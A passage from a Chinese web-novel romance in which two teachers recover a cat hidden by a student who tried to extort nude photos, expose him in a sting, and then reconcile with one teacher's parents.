“不是他。”简越用一种值得信任的眼神看着林筝墨,“不是他,别想了。”偷偷示意张老师,张老师一秒意会。 “我也觉得不是!”张老师笃定道。 两个人否定会让人心里更踏实,林筝墨饱受折磨的心稍微缓和些。 监控不能再看了,无非是他后面骑车又回来,林筝墨强打精神往外走,却是不知道去哪里找的,因为到处都找过了。 心口抽着痛。 窒息 找猫人已经拨来电话,告诉简越,人到学校门口了。 “我马上过来。”简越挂断,对林筝墨说:“你和张老师先坐会儿吧,我马上回来。” “好。” 张老师拉着林筝墨在条凳坐下,频繁揉搓着林筝墨的手臂,好让她情绪缓下来。 “会找到的会找到的。” “嗯。” “你也别内疚,我说实话。”张老师实话实说:“你别觉得你把小简叫过去,小猫才走丢的,要是昨晚小简在家,那才是真的危险,你也看到了,那边是三个人!入室是很危险的!” 张老师之言,也不是没有道理,但林筝墨就是难过,不管怎样,就是无妄之灾。 “等小简过来吧。” 话音刚落,林筝墨手机震动了一下,以为是简越发来的消息,打开来看,一个陌生号码发来信息。 内容很简单,只有三个字: 【林老师。】 第102章 第一百零二章 泡泡??? 第一百零二章 【林老师。】——就三个字。 【?】——这是林筝墨发的。 之后没再回复, 林筝墨拨过去,没接,再打就是关机了。 林筝墨把手机号复制下来,在微信里搜, 也搜索不出这个人, 看起来是挺谨慎的。 好的, 猜不出来的话,四舍五入就是李新百, 不管怎么样, 这口锅先扣上去再说,真的很怀疑是他! “谁给你发消息了?”张老师抬了一下下巴。 “不知道。”林筝墨拿给她看,“打了没接, 微信也搜索不出来。” “是你的学生了。” “是。” 这时林筝墨冷静下来,怎么说,未成年的心理活动总是很明显, 要脱裤子放屁那是一秒便知的事,既然有的人想要引人注目, 那就配合他好了。 “他肯定知道泡泡在哪。” 张老师迟疑着:“那怎么办?” “我和简越打个电话” 那时简越正在和找猫人对接, 林筝墨在电话里说明情况, 大家的怀疑都是一致的,况且, 也只有那个岁数的人, 才会做出这么幼稚的事情。 也许在他的世界里, 这件事做得天衣无缝呢。 “直接找他肯定不行。”简越稍作思索,有了一计:“但是把泡泡弄死,他得不到一点好处,所以我非常倾向于泡泡还活着, 咱们先不管他,看他到底想干嘛。” “我和你想得一样……” “他喜欢你,你知不知道?”简越一针见血的:“是筱筱和我说的。” “我知道。”林筝墨不是傻子,只是装瞎,“只是职业素养让我一直都” 一直都视而不见,即使内心觉得不适,但也无可奈何。 很幼稚,超级幼稚,通过这样的方式来引起注意,自认为自己是天底下最聪明的人,躲在阴暗角落进行一些无意义的意l淫。 无需细想,林筝墨都知道他想要什么。 “稳妥起见,我让找猫人继续找,他那边我们再想想办法,等会儿估计还要给你发消息的。” “好,你快过来,我和张老师在这边等你。” 心里依旧不安,想和简越待在一起,这样心理上会比较有安全感一些。 * 南中的周五就是菜市场,咱们赵姐终于放学了,拉着沈礼萍直直往外冲。 “小萍gogogo,我请你吃炸鸡!!” 小书包滴里咚咚,赵筱筱牵着沈礼萍的手,快乐得脸颊生花。 沈礼萍揣着砰砰乱跳的小心情,脸红扑扑着问:“你哪儿来的钱啊?” “我姐给我发了红包,够我请你吃一个月的了!” “喔,但也不要浪费钱嘛。”沈礼萍嘟哝。 赵筱筱回过头看她,“给你花钱才不是浪费!我要给你买炸鸡薯条可乐鸡米花冰淇淋,等我以后上班工作了,赚钱了,我请你吃更多好吃的!” 她噼里啪啦说一堆,字字句句都在沈礼萍心中开出小花。 “你怎么不说话!” 沈礼萍抿唇笑,“不知道说什么。” “那你开不开心?” “嗯。” 俩人跑到校门口去买零食,赵筱筱这人很大方,对沈礼萍尤其大方,大方到什么程度,身上若是有一百块,就愿意给沈礼萍花一百块。 对于赵筱筱而言,沈礼萍就是她青春期时刻最好的朋友? 为什么要打一个问号,因为赵筱筱从来没有思考过这个问题。 她只知道,小萍是很重要的存在。 “拿着拿着拿着拿着。”赵筱筱一个个往沈礼萍书包里塞,“这个薯条就不放进去了,等会儿蔫了不好吃了,我骑着的时候你喂我。” 她们打算去废旧天台吃东西,就她俩,聊聊天,说说废话,就这么简单。 街边扫了一辆共享单车,赵筱筱在前,沈礼萍在后,这车没有后座,所以赵筱筱都是站着骑的,她要把座位让给沈礼萍。 小萍小个子,很轻,用赵筱筱的话来说:我的屎比你都重。 沈礼萍:“” 爱的人好糙。 但好喜欢。 骑过几个街区,单车停在废旧老楼附近,赵筱筱率先跳下来,接着去拉沈礼萍,这一带很破,全是待拆的老楼,但却是她们的秘密基地。 以前也有秘密基地,但基本是几个人一起。 但这里不一样,这是独属于她们的地带,刚开始她们周五出来玩还会带钟涛,但渐渐觉得男人很碍事,话说不到一块儿,所以现在基本都是两个人行动了。 这地方是沈礼萍带赵筱筱来的,就在她家附近,小时候沈礼萍常来这边玩,后来这边要拆了,但也没轮到她们家,她家现在还是过着相对拮据的生活,不过奶奶和妈妈,还有妹妹,一家四口还是有在努力生活。 妈妈的情况渐渐好些了,所以也没以前那么难捱。物质上是欠缺了些,但家庭温馨,是很幸福的。 “你拿辣椒面没有?”赵筱筱上楼,反过一只手,要去拉沈礼萍,“牵牵。” “拿了,拿了五包。”沈礼萍伸出手去,任由赵筱筱牵着她。 上楼总是牵手的,下课也是,放学也是,待在一起的时候也是,有时候赵筱筱邀请沈礼萍去家里睡觉,半夜赵筱筱睡着过后,也要牵手。 她很黏她,而沈礼萍总是心甘情愿被她黏。 “五包够了,咱们撒点辣椒面上去,嘶溜嘶溜。”赵筱筱口生唾液,“对了,有个事儿我等会儿想问你。” “什么事?” “上天台说。” 入口一扇铁门,推开发出吱嘎的铁锈声,空气明净通透,一股冷钻进鼻腔里,冷冰冰的。筱筱踩着地上的雪过去,张开双臂,感叹:“好喜欢这里啊!爽!” 天台有一个废弃水缸,上面放着一块木板,可以用作桌子,她俩拉开书包拉链,将里面的食物全都拿出来,台面上垫了张食物纸,站着慢悠悠吃起来。 “你要问我什么?”沈礼萍看着她。 “姜屿又找我了。” 沈礼萍愣了一下,“然后呢?” “她找我复合。”赵筱筱在汉堡上咬了一大口,咀嚼着,又递给沈礼萍,但沈礼萍破天荒没吃。 “你怎么想的。”沈礼萍垂眸,视线落在鸡翅上,金黄的脆面却挑不动味蕾,心里堵着一团,迷雾般无法消解。 “我不知道啊,我问你呢。” “要是你还喜欢她,就和她复合吧。” 沈礼萍不是第一次陷入这样的状况,每每遇见,只能硬着头皮回答,不敢表现出朋友以外的任何反应,她害怕,不敢,有时候也有一点点不自信。 她觉得自己家庭条件不好,偏偏那个姜屿又很富裕,不可避免有心理落差。 加上又拥有比同龄人更成熟的心智,她会想很多,很长远,每一步都很慎重,不敢越界。 “可是我早就不喜欢她了。”赵筱筱如是道:“和我谈恋爱的时候,她还出轨嘞。” “那你就不管她了,我们好好学习,考同一个大学吧。” “好嘟。”赵筱筱往沈礼萍肩上靠,笑嘻嘻:“有你的话,我们一直一起的话,我不谈恋爱也行。” 她又这样说了,沈礼萍淡淡一笑,她知道赵筱筱只是一时兴起,这是绝对不可能的事,可每次又忍不住当真,那是一种私人的,隐秘的情绪,如果成为她永远的朋友的话,何尝不是一种独特的占有呢。 “真不谈啊。” “真不谈。”赵筱筱喂她吃汉堡,“你吃一口嘛,我们一起吃才好吃呀。” “那姜屿呢?” “不管她了。” 沈礼萍这才咬下那一口,她觉得自己占有欲其实挺强的,但赵筱筱是个笨蛋,什么也不懂。 “辣椒面,撒点儿来。” 刺拉刺拉—— 刺拉刺拉—— “你听到什么声音没有?”沈礼萍忽然停下手里的动作,“塑料袋的声音?” 赵筱筱顿了一下,侧耳聆听,“没有啊,风吹的吧。” “好吧。”沈礼萍开始给鸡翅撒辣椒面,抖了几下,俩人刚准备继续吃。 下一秒。 刺拉刺拉—— 刺拉刺拉—— “我听到了!”赵筱筱忽然回过头去看,天台入口的方向是没人的,这栋楼不可能有人过来,“不是哪儿来的声音?” 尖着耳朵听。 东西也不吃了,眼睛机警地四处乱瞅。 赵筱筱围着天台走了一圈,发现声音是从水箱的方向发出来的。那水箱需要爬楼梯,或者垫一垫东西才能上去。 俩人面面相觑。 沈礼萍提议:“不然走了?” “我想上去看看。”赵筱筱胆儿不大,但好奇心重,“这声音听着总不像是人。” 沈礼萍:“” 沈礼萍:“不行,安全起见,咱们回了吧。” 窸窸窣窣。 刺拉刺拉。 “咪诶,喵——” 两人瞬间瞳孔放大,异口同声:“是猫!!” 赵筱筱二话不说,搬着旁边的烂凳子,说着就要爬上去,但凳子不够高,俩人又通力合作,哼哧哼哧弄了几大块的石头垫底。 搬运的时候就发现雪地里的脚印,今天雪其实没怎么下,所以脚印还很新鲜,石头有动过的痕迹,看样子有人其实提前来过。 有人在这里藏猫?这是要干什么! 沈礼萍在下面扶着,见赵筱筱撅着小屁股哼哧哼哧往上登,两手嘿哧一撑,人终于爬了上去,上面有陈年青苔,提醒她小步一点挪着过去。 “是猫吗?”沈礼萍在下面仰着头干着急。 “是个纸箱子。”赵筱筱小心翼翼过去,“里面好像有。” “那你小心点。” “嗯。” 好不容易到箱子旁边,害怕里面的小猫受惊,又怕被抓,相对还是谨慎的。快贴近了,勾着腰,手缩到衣袖里,用厚厚的校服去掀纸箱的盖子。 轻轻一挑,瞥见里头的白团子。 蓬松的毛发沾着雪,有些雪化了,湿哒哒的,一双圆鼓鼓的眼睛看着赵筱筱,可怜的小嘴巴被胶布缠绕着,眼眶湿漉漉的,发出的“喵”也很模糊,因为嘴巴张不开,从胶带的痕迹来看,挣扎过,所以才能从嘴巴缝隙里挤出那声“喵”。 赵筱筱惊呼:“泡泡???” 沈礼萍:“啊?” “不是这猫和我姐的一模一样!!!”定睛一看,尖叫:“救命这就是我姐的猫!!!!!!” 第103章 第一百零三章 看看照片 第一百零三章 赵筱筱吓懵。 看到泡泡那瞬间, 赵筱筱陷入一种诡异的荒诞之中,这种感觉堪比正在吃饭突然踩到一颗蘑菇滑到了外太空遇见了初中语文老师在打篮球,甚至要比这更无厘头。 “什么情况啊???”沈礼萍在下面干着急。 “它真的是我姐的猫!”赵筱筱把猫咪从盒子里抱出来,“快快, 你接一下。” 小猫瑟瑟发抖, 毛发湿冷, 警惕又紧张,平生没遭受过这种待遇, 一双眼睛湿漉漉的, 感觉像是哭过,可怜得令人揪心。 沈礼萍伸手接猫,迅速抱在怀里, 用纸巾去擦它的毛。赵筱筱跟着下来,嘴里嘟哝着什么,又把自己的外套脱下, 裹着小猫,替它御寒。 “天呐。”赵筱筱不可置信:“天呐天呐天呐。” “你要不要给简老师打个电话?” “当然了!” 赵筱筱不敢耽搁, 吆喝着沈礼萍往楼下走, 路过鸡翅汉堡的时候没忍住, 连忙往嘴里塞了一个,双管齐下。 沈礼萍:“?” 真是一点都不耽搁。 赵筱筱有一台专门看百合小说的手机, 是在网络上几百块淘的, 但她从来不交话费, 她的钱都花在刀刃上,比如买吃的,比如看小说,小说是WiFi缓存下来的, 也就是说,她现在要给简越打微信电话,必须要找到能连接WiFi的地方。 可怜娃儿。 “服了,真烦,到处没网。” “你怎么连话费都不交。” “月租39啊,交不起啊,交了怎么在晋江文学城看小说啊!” 沈礼萍哑口无言…… 最终在一家面馆连接网络,赵筱筱直接微信电话简越,开门就咆哮: “姐!!!你怎么把泡泡扔了!!!!” “你在哪?” “我现在在三三面馆” * 【林老师。】——晚上七点,那个陌生号码终于发来消息。 那时林筝墨正在宠物医院,医生在给泡泡检查,洗澡,吹毛。 林筝墨把手机给简越看,“他发消息过来了。” 简越看了眼屏幕,眼色冰冷,“嗯,你去看泡泡,我来回复吧。” 林筝墨把手机交给简越。 简越在手机屏幕打下:【我在,你是?】 陌生人:【我知道你的小猫在哪。】 简越拨通电话过去,对方挂断了,她知道他会挂,意料之中,很好,就陪他演。 又打下:【你想干嘛??】 陌生人:【能让我看看你吗,然后我就告诉你小猫在哪。】 简越对着屏幕冷笑,回复:【所以我的泡泡在哪?】 陌生人:【给我发几张照片我就告诉你。】 哇,他真的好猥琐,简越第一次觉得猥琐这个词具象化了,就和他那么贴切。 简越:【想看什么照片?】 一边发送消息,一边朝林筝墨走去。 “我要去学校一趟。”简越对林筝墨说。 “你去干嘛?” “收拾他。” “他发什么了?你不要冲动,你打他骂他,反过来是你的不是了。” “我不打人,也不骂人。”简越继续回复着,“但要让他尝尝苦头。” 陌生人又回复了:【裸l照行吗?】 还是过于畜牲了。 虽然早有预料,但看到这两个字依旧不适,简越内心翻江倒海,陈年老汤都得吐出来,为了不让林筝墨恶心,她偷偷删除了这条。 简越:【我要看到我的猫,你得把猫还我,照片的事,可以考虑。】 陌生人:【真的行?】 简越:【它对我真的很重要,求求你了,我很担心它,至少让我知道它在哪。】 陌生人:【我给你拍猫,然后你给我发照片?】 简越:【如果我给你照片,你会发出去吗?】 陌生人:【放心,我自己看,绝对不分享。】 简越迂回,她可太懂他了:【不露脸行吗?】 陌生人:【可以。】 简越:【好。】 好。 呵呵呵呵。 简越二话不说把自己手机递给林筝墨,“我们互换一下手机,有事联系,然后我要去一趟学校。” 林筝墨放不下心,“我和你一起?” 简越稍微迟疑,觉得暂时不要让林筝墨卷入这样龌龊的事情里来,而且泡泡状态也不好,没有必要。 “暂时不,你守着泡泡,我等会儿再和你细说。” 简越有自己的计划 * 晚上八点,教师公寓某一栋楼,有人出发了。 他依旧背着书包骑着单车,如同清晨出门那般行头。 李新百满脑子都是林筝墨回复的:好。 满脑子都是,连蹬自行车的腿都在发麻,仿佛有什么东西刺激着他的血液,雀跃的,洋洋得意的,现在,他是胜利者的姿态,夜晚街边的冷光照耀在他的脸上,他的皮肤像僵尸那样白,面目之下一双瞳比天空更黑,更阴沉。 嗡嗡—— 手机发来讯息:【猫呢。】 李新百在红绿灯口停下,回复:【等我十五分钟。】 【你没骗我吗,我能见到我的猫吗?】 【当然了。】李新百对着手机屏幕笑,【那看老师发几张照片了。】 自行车骑过几个街区,从城市大马路穿梭到拆迁小道里,这是李新百为自己找的秘密基地,天衣无缝,绝对不可能有人到这里,绝对不可能。 他现在倒比较关心一个事,那只猫冷死没有,死了就不能交换照片了,至少看了照片再死也行,不过,要真的死了,拍一张背影能不能糊弄过去? 吱嘎—— 车子停在楼下,李新百将车子龙头一扔,从车上跳下来,只身往楼道里窜。 夜已深,楼道漆黑,他打开手机电筒,一阶一阶往上走,许多屋子的门被撬掉了,像是鬼混被挖掉了眼睛,怪瘆人的。 新的短信:【你为什么要这样做?】 李新百:【我喜欢你啊。】 简越:【变态吧。】 李新百:【喜欢吗,喜欢坏了吧。】 简越对着手机翻了个白眼,有时候真的想杀人。 简越:【到了吗?】 李新百:【快了,几分钟,你可以拍照了。】 他登上楼顶,楼道夹层里吹着风,发出呜呜的声音,四面漆黑,他朝水箱的方向走,刚准备垫石头,发现有垫过的痕迹,愣了一下,却是记不得早上有没有搬动过了。 他现在很急,来不及细想,就着那点高度往上爬,他比赵筱筱矮,十分费力地撑上去,险些摔跤。 夜色之下,那道身影晃了一下,站稳了,猫着腰去看纸箱。 “操!”李新百怒吼一声,他掀开纸箱,里里外外看,确定里面没猫,噼里啪啦踢了几脚,把纸箱踢飞,一道抛物线从黑夜里坠落,“妈的猫呢。” 当事人似乎不敢相信,愣在原地。 短信:【好了吗?你好慢。】 李新百:【你等我一下。】 短信:【照片已拍好。】 李新百抓耳挠腮:【脱了吗?】 短信:【嗯。】 李新百:【等我一下。】 他站在水箱上,左看右看,觉得不可能,猫是他处理过的,还绑了绳子在脚上链接在旁边的钢筋上,怎么也逃不掉。 “操!” “操操操!” 这边在飙脏话,不远处,某一个不起眼的角落,几个人默不作声地看着他。 分别站着:录像的简越、看戏的张老师、好不容易请来的副校长,以及面色铁青的李大光。 “李主任。”简越递了个眼神过去,“这就是事实,你现在还不相信么?” 张老师添油加醋:“林老师气得已经进医院了,我们年级居然有这样的学生!太可怕了,而且她的猫养了五六年了,听说从英国买回来的,光是价格都是六万六!现在小猫还在宠物医院挂着水呢,也不知道后续如何。” 副校长是个中年女性,为人正直,杀伐果敢,眼前这一幕令她难以置信,如此疯狂的学生,放在南中,近十年都怕没有一位。 她神色凝肃,任职这些年见过很多任性的学生,但这已经不是单纯叛逆的地步,威胁到学生和老师的安全。 “啊!!猫啊!!!操操操操操!!”李新百还在上面发疯,揪头发,甚至扇自己耳光,歇斯底里地吼着,“滚出来在哪里在哪里!!!” 他吼得越大声,李大光就越觉得丢人。 这都不能是单纯丢人的地步了,李大光气得想杀人。 不好发作。 忍了又忍。 忍到嘴唇发紫,发乌,眼神锐得像刀,几乎快捅过去。 忍无可忍。 “李新百!!!”李大光一声吼过去,声音大到能开万人演唱会。 那声音在空气里散开,水箱露台上的人身体一抖,吱的一声蔫了气儿,真正被吓到的人是他,因为没预设过有人会出现在这里,甚至下意识缩了一下肩膀,贼眉鼠眼往下面看。 “畜牲!”李大光从黑暗里走出来,指着畜牲说:“滚下来!” “?!”呈现出难以置信的惶恐,吓得嘴唇都在抖,“爸你怎么在这里。” “滚下来。”李大光指了指自己的皮鞋,“我数到三,三——二——” “一”还没开口,训狗指令奏效,李新百吓得从上面跳下来,这对他来说有点儿高,跳得又急,一个趔趄,咔的一声,脚好想崴了一下。 在场的人都松了口气。 小骨头怎么这么听话呢。 “嗷——”抱着膝盖嗷嗷叫,“我腿断了!” “老子怎么教你的!昂?”一脚飞过去,踢在李新百肩膀上,整个人躺在地上,“说话!” “爸你别打了——唔——啊,呜”话音刚落,一脚又踹过去,力道之大,惨烈的叫声回荡在几人之间。 在场所有女性都拧起眉头,张老师吓得甚至抱住简越。 副校长拿出手机,拨通电话,应声了,她说:“喂,沈校长,这边发生一点情况,挺严重的对,那肯定了,好,明白,那我马上过来” 第104章 第一百零四章 嗯嗯嗯,在忙:) 第一百零四章 那日之后, 林筝墨把泡泡带回自己公寓了。 但李新百这事儿给她留下不少阴影。 连做几天噩梦,每次惊醒就找猫,要确定泡泡在家,才能继续入眠, 这导致她睡眠质量特别不好。 和简越说自己很害怕, 简越本就不放心, 二话不说搬来与她同住了。泡泡还是蔫里蔫气的,但有在恢复, 医生说问题不大, 但短时间内不能再受惊了。 “有家长在投诉了。”简越念着手机屏幕里的文字:“高二年级李主任曾口头谩骂我女儿,精神打压,导致其厌学情绪严重, 后发展为中度抑郁症;另一男生家长说:李主任曾骂我儿是蠢猪,我儿是不是蠢猪我不知道,但李主任的儿一定是蠢猪……乱七八糟的, 一连十几个家长递了投诉信,要求李大光离职, 史无前例。” “啊, 原来这么多人对他有意见啊。”林筝墨感慨:“之前不是说他教风严谨, 带的班都能出分么?” “好像是学生都很怕他,有些同学都快被逼疯了。” 其实简越有“不经意”让这件事走漏风声, 通过他人之口, 家长之间渐渐也传开了。 沈校长非常重视这件事, 开过会议,上报过教育部,李新百的事情节恶劣,开除处理。可李大光属于家庭纠纷, 原本是不能动他职位的,现在有家长投诉,那么就要另说了。 父子俩大概率没好结果。 “啊……不说他们了。”林筝墨侧躺在简越腿上,一只胳膊搭在简越的腰上,“晚上我们吃什么?” “你想吃什么?”简越摸着林筝墨的头发,发丝在指缝里溜走了。 “你先不看手机了。”林筝墨轻轻拉她衣摆,“你看看我。” 简越低头去看林筝墨。 林筝墨正看着她,目光凝滞,失神得有点可爱。 “干嘛?”简越唇角漾着笑,低头些,“你干嘛?” “我看看你。”林筝墨有些青涩地笑着,“也不干嘛。” “哦,你看我,看我的时候也希望我看你?” 林筝墨不知道回答“是”还是“不是”,她望向简越的时候,希望简越的目光也投过来,可真的对视了,又觉羞赧,不知所措。 简越的眼波是一层一层卷过来的海浪,慢慢侵蚀着林筝墨的心间,痒痒的,酥酥的,沉溺其中难以自拔。 “干嘛不说话。”简越捏捏她的脸,“晚上想吃什么。” “嗯……想吃小青菜,吊龙,还有随便什么,只要你做的都可以。” “那我看看冰箱里有什么。” 她拖着林筝墨的脑袋,想顺势起身,却又被林筝墨狠狠抱住了。 这次依旧是腰,像腰间挂件似的,怎么也不松开,嗓音又绵又柔:“简~~越~~” “干!嘛!” 林筝墨撒娇有一套,但仅限在简越这里使用:“老~~~”故意把声音拉得很长,“婆~~~” “干嘛呀。”简越被叫得心尖酥软,嘴巴上没像林筝墨那么黏腻,实际却是相当受用的,没人受得了被自己喜欢的人这么叫吧。 林筝墨不语,只是一味地伸手,一副讨抱的姿态。 简越觉得自己身体的按钮被“滴”的摁了一下,然后心里的泡泡机开始“咻”,疯狂吐泡泡。 她勾着林筝墨的手,轻轻拉她起来,对方软绵绵,稍稍使力,终于起身,两人上半身紧贴在一起,简越埋在林筝墨脖间,发丝总夹着一股清淡的气味,有点像小茉莉。 简越蹭了蹭,留下一个吻。 “好了,我去做饭了。” “带我。” “你躺会。” “不,一起嘛。” “我做饭你也要一起啊。” “对啊,抱我。” “你你几岁了。” “呃,我一百岁了,走不动了,要简越抱。” 简越笑。 她给林筝墨穿好小拖鞋,没抱她,让她站起来,俩人拉拉扯扯,亦步亦趋到厨房里去做饭。冰箱里的菜还很新鲜,是上午去超市买的鲜切吊龙和小生菜。 公寓的厨房一般大,但两道颀长的身影刚刚好,橘光灯落在简越的肩膀上,也吻上林筝墨的脸颊,俩人默契搭配,妄图时间静止在这一秒。 泡面锅煮开水。 咕嘟咕嘟冒泡泡。 简越转为小火,转身靠在厨台上,双手抱胸,看林筝墨洗菜。 林筝墨的长发随意挽起丸子头,额前有几缕碎发,低头时瞥见清瘦的侧脸,随性扑面而来,有种冷淡的美感,莹白的手指搓着生菜叶,一片一片放在沥水篮里,做事很仔细。 “林筝墨。” “干嘛?”林筝墨侧目,不悦:“怎么突然叫我大名。” 简越扬唇,“我就叫,不可以吗?” “可以。”林筝墨耸耸鼻尖,“但很怪诶。” “那叫什么?”简越逗她:“林老师?林大老师?林小老师?” 林筝墨睃她一眼,“回忆一下我刚刚叫你什么!” 叫一声老婆会死是吗?明知简越就是故意的,装傻充愣第一名,可一点办法没有。 菜洗到最后一片,林筝墨刚要伸手去关水,身后忽然贴来一片柔软,简越从身后拥着她,软乎乎的,腰间生出一双手来,搂着她。 “喂” “嗯嗯?” “亲亲。”简越嘴唇贴在林筝墨耳旁,啄了一下。 林筝墨手里的生菜叶掉进水槽里,水龙头还在哗啦啦地流。 简越吻过耳根,林筝墨偏过头,配合她,把白净的脖颈留给她,一路吻下去,吻到肩膀,解开针织毛衣扣子,想帮她脱掉外衣。 “不不是做饭?”林筝墨声线迷濛,被吻过的地带白里透红,“这是厨房。” “厨房怎么了?”简越捧着她的脸,“在这里。” “想。” 林筝墨扔下手里的生菜叶,转身去吻简越。 双手攀上简越脖颈,嘴唇贴上去,不是平日蜻蜓点水的吻,带着一点勾引,一点挑逗,舌尖舔着简越的上唇,舔一下又离开,离开时用那样迷离的眼神看着简越。 好像在说:快点再对我做一点更亲密的事。 林筝墨的主动向来是隐形的,譬如要做的时候,要简越问她做不做,她通常只会回答“想”,“要”,“好”,往往只有一个字。 语言上非常吝啬的人,行为上反而大胆。 在勾引简越这件事上,自然有一套自己得心应手的秘籍,通常只需略施小计,简越就会乖乖上套。 比如现在,她轻轻蹭她,舔她的唇,舔一下就离开,但她不说话,眼神是林筝墨语言的表现形式,暗送秋波,一点点微表情,简越立马缴械投降。 在气氛火热到一定程度时,林筝墨通常选择后撤,果然简越追上来,要吻她。 林筝墨故意偏过头,不给她吻到。 “?” 林筝墨扬唇,“你刚刚叫我什么?林老师?那我们很不熟了。” “不是,你是我女朋友。” “哦是吗。”林筝墨笑着看她,眼神调笑,“可是吊龙要煮老了。” 简越伸手,咔哒一声把火关了,谁要吃吊龙啊,那是什么东西啊。 她俯身过去,开始吻她,头顶的灯暖烘烘的,光晕透过发丝和睫毛的缝隙,最终落入眼底。 林筝墨双手撑着厨台,稍稍仰起头,配合简越,嘴唇碰在一起时,葡萄柚味道的润唇膏弥漫在空气里,那是独属于林老师的味道,透过热情,传递到简越的嘴唇上,香味蛊惑,又主动推入舌尖,将气味传递到唇齿之间。各自身体逐渐升温,简越双手贴在腰边,有缓慢的不安分的趋势,却还是慢慢调情,妄图等林筝墨受不了的时候主动开口。 调情不需要很厉害,甚至不需要天赋,浓烈的爱意就是最大的天赋,更何况她技巧确实不错。 林筝墨在受不了边缘徘徊,开始吻的时候,说要在厨房做,只是一种口头上的放肆,可现在忽然好想好想,她想要简越猛烈而迅速地占有她,这是一种难以启齿的欲念。 “嗯” 简越继续舌尖挑逗她。 “嗯” 第二次鼻腔里溢出的“嗯”,要比第一次更绵长,更具有渴望的意味,几乎已经到了隐忍的最大程度,意味着快到临界点,无法再忍了。 “简越。”林筝墨喘着气,双颊绯红,眼底铺着潮润的光。 “在。” “去房间。” “我以为你想在厨房。” 林筝墨摇头,“不要,会有一点害羞。” “好,去房间。” 简越臂力不错,抱林筝墨绰绰有余,抱着她穿过客厅,进入卧室,把林筝墨放在软软的床垫上。 林筝墨拉过简越的衣领,像拆礼物一样一层一层拆简越的衣服。 表情是那样寡淡,但手里的动作有些迫不及待了。 准确来说,是迫不及待x2. 互脱。 正兴头上,大战一触即发,下一秒—— 叮咚叮咚。 门铃声。 两人同时蹙眉,表情同频到像同一个模子里刻出来的。 “谁?”林筝墨眨眨眼,思索,“哦,今天物业在排查天然气?也太晚了吧。” “不管。” “好。” 叮咚叮咚。 那声音不停。 林筝墨啧了一声,“我去看看。”她见简越要穿衣,一把摁下了,“别穿,等我。” 简越:“0.0?” 简越:“好,等你。” 林筝墨披了一件外套,径直去开门,临到门前,透过猫眼瞅了一眼。!!!!!!!!! 电光石火之间,咻的一下往卧室跑,拍拍床单,“宝宝宝快起来快起来!我妈来了!!” 简越跳跳跳起,眼睛瞪得像铜铃。 叮咚叮咚—— 伴随着门铃声,俩人噼里啪啦把疯狂把衣服往身上套。 “你穿成我衣服了!!” “不是内衣也错了!” “没事反正尺寸差不多” 简越胡乱扒拉了一下头发,“我现在正常吗?” 林筝墨一针见血:“你现在一脸潮红。” 简越局促,“你也一样!!” 林筝墨跑出去,对着玄关应了声:“就来了。”又钻进卫生间里洗脸降温。 门外。 门铃快戳出火星子的周京芳看着林鸿。 “她在屋里跑来跑去的干嘛?” 林鸿耸肩:“不知道啊,在忙吧。”—— 作者有话说:林筝墨:嗯嗯嗯嗯差点就忙起来了呢[彩虹屁] 简越:[小丑]还好没忙起来的时候摁门铃[小丑] 第105章 第一百零五章 开始同居了吗? 第一百零五章 “她在屋里跑来跑去的干嘛?” 林鸿耸肩, “不知道啊,在忙吧?” 周京芳一针见血的:“她已经这么喜欢运动了吗?” “听起来在做操。”林鸿嘟哝,“或者八段锦什么的。” 总之总之,老两口在门口站了大约……三分钟?林筝墨才来开门, 脸洗得急, 没来得及擦干, 湿哒哒的挂着水,面容倒是清秀纤丽, 就是谁大冬天的洗冷水脸, 太反常了。 “你怎么了?”周京芳拧眉,“外面还在下雪呢,不会冷吗。” “不会, 就洗个脸。” 糊弄过去。 招呼着爸妈进屋,他们不常来,频率可能是两个月一次, 没事甚至不来,因为多数是林筝墨过去找他们的。 周京芳在玄关处换鞋, 无意发现鞋架上多了好几双鞋, 一双还好, 一连好几双风格都很不林筝墨,顿时困惑。 “家里来客人了?” “嗯”林筝墨不得不认:“同事来了。” “哪个同事?”林鸿无脑搭了一嘴。 林筝墨开门见山:“那位你们不太喜欢的同事。” 二老均是一愣, 对视一眼, 瞬间了然。 所以先前磨磨唧唧, 开门一张冷水脸,现在又含糊其辞,一切都有迹可循。 哦,懂了, 是在打双人太极吗?上一辈什么都懂,上一辈甚至更懂,但上一辈绝对不会戳破。 一切心理活动化为灰烬,只剩一句云淡风轻的: “你什么话?”周京芳觑一眼,往屋里看,“那她人呢?” “她在卫生间,马上就来,你们先进来吧。” 换好鞋,带他们到沙发坐下,周京芳鼻子灵,空气里嗅两下,“煮什么呢?” “刚刚我们在煮汤。”林筝墨转身去厨房,盛到碗里,“已经煮好了。” 卫生间里,简越度日如年,又要分秒必争,不能在厕所待太久,显得很不礼貌,又不能草率出击,免得落下一个邋遢的印象。 快速洗脸,擦掉水渍,稍稍整理头发,照了照镜子,好在天生丽质,勉强能对付,也不需要花里胡哨,但绝对不能乱糟糟的,事已至此,保持干净清爽是最重要的,至于衣服算了,本就在家里,居家服也算合适。 心跳如雷。 咚咚咚。 做好心理建设,表面一副轻松自在的模样,实则是小心翼翼在开门。 门缝里往外看。 客厅里,林筝墨在说着什么,简越开门出去,礼貌又规矩地叫了一声“阿姨叔叔”,周京芳和林鸿同时回过头来,林鸿笑着说了句“你好”,周京芳虽不语,却也颔首问好。 气氛上,算不上绝对的轻松愉悦,但曾经那股敌对之气消退不少。 值得欣慰的是,在场所有人都有一种可贵的默契:往事不要重提。 谁跳江了,谁分手了,谁受伤了,谁谁谁一律不提,这是一种重新拾捡新生活的豪迈,既已选择往前走,那就不再掰扯细枝末节,说得通俗一点,翻旧账影响感情。 没有什么是不可以重建的,没有。 简越走到沙发处,林筝墨让她坐,她便坐,正好坐在周京芳旁边,周京芳不似从前那样坏脸色,反而温声细语问她,最近怎么样。 “挺好的阿姨。” “墨墨那件事你做得很棒。” 简越忽然心间一暖,有种拨云见日的明朗雀跃,“应该的。” 林鸿插话:“哎都是一家人不说这些。” 一家人。 三个字戳破了所有人的小小内敛,微微局促。 话总归是要说开,总归要的。 那些偏见、误解、怨恨,早该在悠长淡云里逐渐消解,如果周京芳爱她的女儿,这便是最明智的选择,而周京芳很爱林筝墨,不容置喙。 关于一家人,均是一愣,却是没人反对的。 林筝墨笑着接话:“就是就是。” 简越迫不及待地跟上:“就是就是。” 林鸿嘿嘿:“就是就是。” 六个“就是”夹击着周京芳,向来不露声色的人也缓和下来,她点头,带着歉疚,鼓起勇气道:“小简,下周要不要来我家里吃饭。”一秒停顿,“如果可以,叫上你妈妈,不知道她上次生病好没好?” “她没事了。”简越一一记下,“我等会儿转达我妈。” “好。” 